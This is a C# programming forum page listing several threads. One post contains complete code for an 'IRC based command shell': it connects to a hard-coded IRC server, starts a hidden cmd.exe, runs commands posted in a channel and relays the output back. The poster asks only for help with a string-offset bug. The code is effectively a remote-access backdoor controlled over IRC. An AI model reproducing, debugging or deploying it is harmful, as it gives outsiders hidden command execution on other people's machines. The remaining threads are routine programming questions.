Click here to Skip to main content
15,884,472 members
Home / Discussions / C#
   

C#

 
AnswerRe: Error: Calling C++ dll function in C# Pin
BobJanova22-Oct-12 4:20
BobJanova22-Oct-12 4:20 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc22-Oct-12 15:51
taibc22-Oct-12 15:51 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc22-Oct-12 16:43
taibc22-Oct-12 16:43 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc23-Oct-12 17:44
taibc23-Oct-12 17:44 
AnswerRe: Error: Calling C++ dll function in C# Pin
taibc22-Oct-12 23:04
taibc22-Oct-12 23:04 
GeneralRe: Error: Calling C++ dll function in C# Pin
mphill474423-Oct-12 7:10
mphill474423-Oct-12 7:10 
GeneralRe: Error: Calling C++ dll function in C# Pin
taibc23-Oct-12 17:07
taibc23-Oct-12 17:07 
Questionsmall IRC Based command shell Pin
seangroves21-Oct-12 13:42
seangroves21-Oct-12 13:42 
Hi all, I've written a shell with IRC as it's communication method, all seems fine and this technique works.. well, soft of. The problem with the following code is that type ".cmd dir" or ".cmd echo hello" I get the expect return as you would from the cmd shell, but when I type something like ".cmd cd c:\windows\" it thinks i've written "dows\" where did the rest of the command go?

C#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
public static class ircConnect
    {

    public static int PORT = 6667;
    public static string SERVER = "194.14.236.50";
    public static string NICK = ircnick.generate(true);
    private static string USER = "USER varta 8 * : varta irc shell";
    public static string CHANNEL = "#channel";
    public static StreamWriter writer;
    public static Process processCmd;
    public static bool begin = false;
    public static string ExecuteCommandSync(object command)
    {
        try
        {
            StringBuilder strInput = new StringBuilder();

            if (!begin)
            {
                processCmd = new Process();
                processCmd.StartInfo.FileName = "cmd.exe";
                processCmd.StartInfo.CreateNoWindow = true;
                processCmd.StartInfo.UseShellExecute = false;
                processCmd.StartInfo.RedirectStandardOutput = true;
                processCmd.StartInfo.RedirectStandardInput = true;
                processCmd.StartInfo.RedirectStandardError = true;
                processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                processCmd.Start();
                processCmd.BeginOutputReadLine();
            }
            strInput.Append(command);
            strInput.Append("\n");
            processCmd.StandardInput.WriteLine(command);
            strInput.Remove(0, strInput.Length);
            // Get the output into a string

            

        }
        catch (Exception objException)
        {
            // Log the exception
        }
        return "Error executing commands";
    }

    public static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                writer.WriteLine("PRIVMSG #channel :" + strOutput + "\r\n");
                writer.Flush();
            }
            catch (Exception err) { }

        }
    }
    public static void processInput(string Commands)
    {
        if (Commands.Contains(".cmd"))
        {
            
            string cmd = Commands;
            int offset = cmd.LastIndexOf(":") + 6;
            string sendCmd = ExecuteCommandSync(cmd.Substring(offset, cmd.Length - offset));
            if (!begin) begin = true;
            Thread.Sleep(2000);
        }
    }

    public static void connect()
    {
        NetworkStream stream;
        TcpClient irc;
        string inputLine;
        StreamReader reader;
        try
        {
            irc = new TcpClient(SERVER, PORT);
            stream = irc.GetStream();
            reader = new StreamReader(stream);
            writer = new StreamWriter(stream);
            // Start PingSender thread
            PingSender ping = new PingSender();
            ping.Start();
            writer.WriteLine(USER);
            writer.Flush();
            writer.WriteLine("NICK " + NICK);
            writer.Flush();
            writer.WriteLine("JOIN " + CHANNEL);
            writer.Flush();

            while (true)
            {
                while ((inputLine = reader.ReadLine()) != null)
                {
                    Console.WriteLine(inputLine);
                    processInput(inputLine);

                }
                // Close all streams
                writer.Close();
                reader.Close();
                irc.Close();
            }
        }
        catch (Exception e)
        {
            // Show the exception, sleep for a while and try to establish a new connection to irc server
            Console.WriteLine(e.ToString());
            Thread.Sleep(5000);
            string[] argv = { };
            connect();
        }
    }
}

AnswerRe: small IRC Based command shell Pin
Richard MacCutchan21-Oct-12 21:54
mveRichard MacCutchan21-Oct-12 21:54 
Questionelse if statement vs switch statement Pin
DeAd_HeAd21-Oct-12 12:18
DeAd_HeAd21-Oct-12 12:18 
AnswerRe: else if statement vs switch statement Pin
Richard Andrew x6421-Oct-12 14:52
professionalRichard Andrew x6421-Oct-12 14:52 
GeneralRe: else if statement vs switch statement Pin
DeAd_HeAd21-Oct-12 16:07
DeAd_HeAd21-Oct-12 16:07 
GeneralRe: else if statement vs switch statement Pin
Richard Andrew x6421-Oct-12 16:17
professionalRichard Andrew x6421-Oct-12 16:17 
GeneralRe: else if statement vs switch statement Pin
Richard Deeming22-Oct-12 2:05
mveRichard Deeming22-Oct-12 2:05 
JokeRe: else if statement vs switch statement Pin
BobJanova22-Oct-12 4:24
BobJanova22-Oct-12 4:24 
AnswerRe: else if statement vs switch statement Pin
Abhinav S21-Oct-12 17:47
Abhinav S21-Oct-12 17:47 
AnswerRe: else if statement vs switch statement Pin
Kevin Bewley21-Oct-12 23:34
Kevin Bewley21-Oct-12 23:34 
GeneralRe: else if statement vs switch statement Pin
BobJanova22-Oct-12 4:24
BobJanova22-Oct-12 4:24 
Questionparameter comments for a method wont work fine Pin
mohammadkaab21-Oct-12 8:28
mohammadkaab21-Oct-12 8:28 
AnswerRe: parameter comments for a method wont work fine Pin
Eddy Vluggen21-Oct-12 22:17
professionalEddy Vluggen21-Oct-12 22:17 
GeneralRe: parameter comments for a method wont work fine Pin
mohammadkaab22-Oct-12 0:34
mohammadkaab22-Oct-12 0:34 
GeneralRe: parameter comments for a method wont work fine Pin
Eddy Vluggen22-Oct-12 0:52
professionalEddy Vluggen22-Oct-12 0:52 
Questionwhat does this error mean? Pin
Member 939900720-Oct-12 18:33
Member 939900720-Oct-12 18:33 
AnswerRe: what does this error mean? Pin
Brisingr Aerowing20-Oct-12 19:16
professionalBrisingr Aerowing20-Oct-12 19:16 
Questionhow I can make the intranet developed in c # to connect to several database in SQL Server 2008 R2 Pin
jaime durand20-Oct-12 18:28
professionaljaime durand20-Oct-12 18:28 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.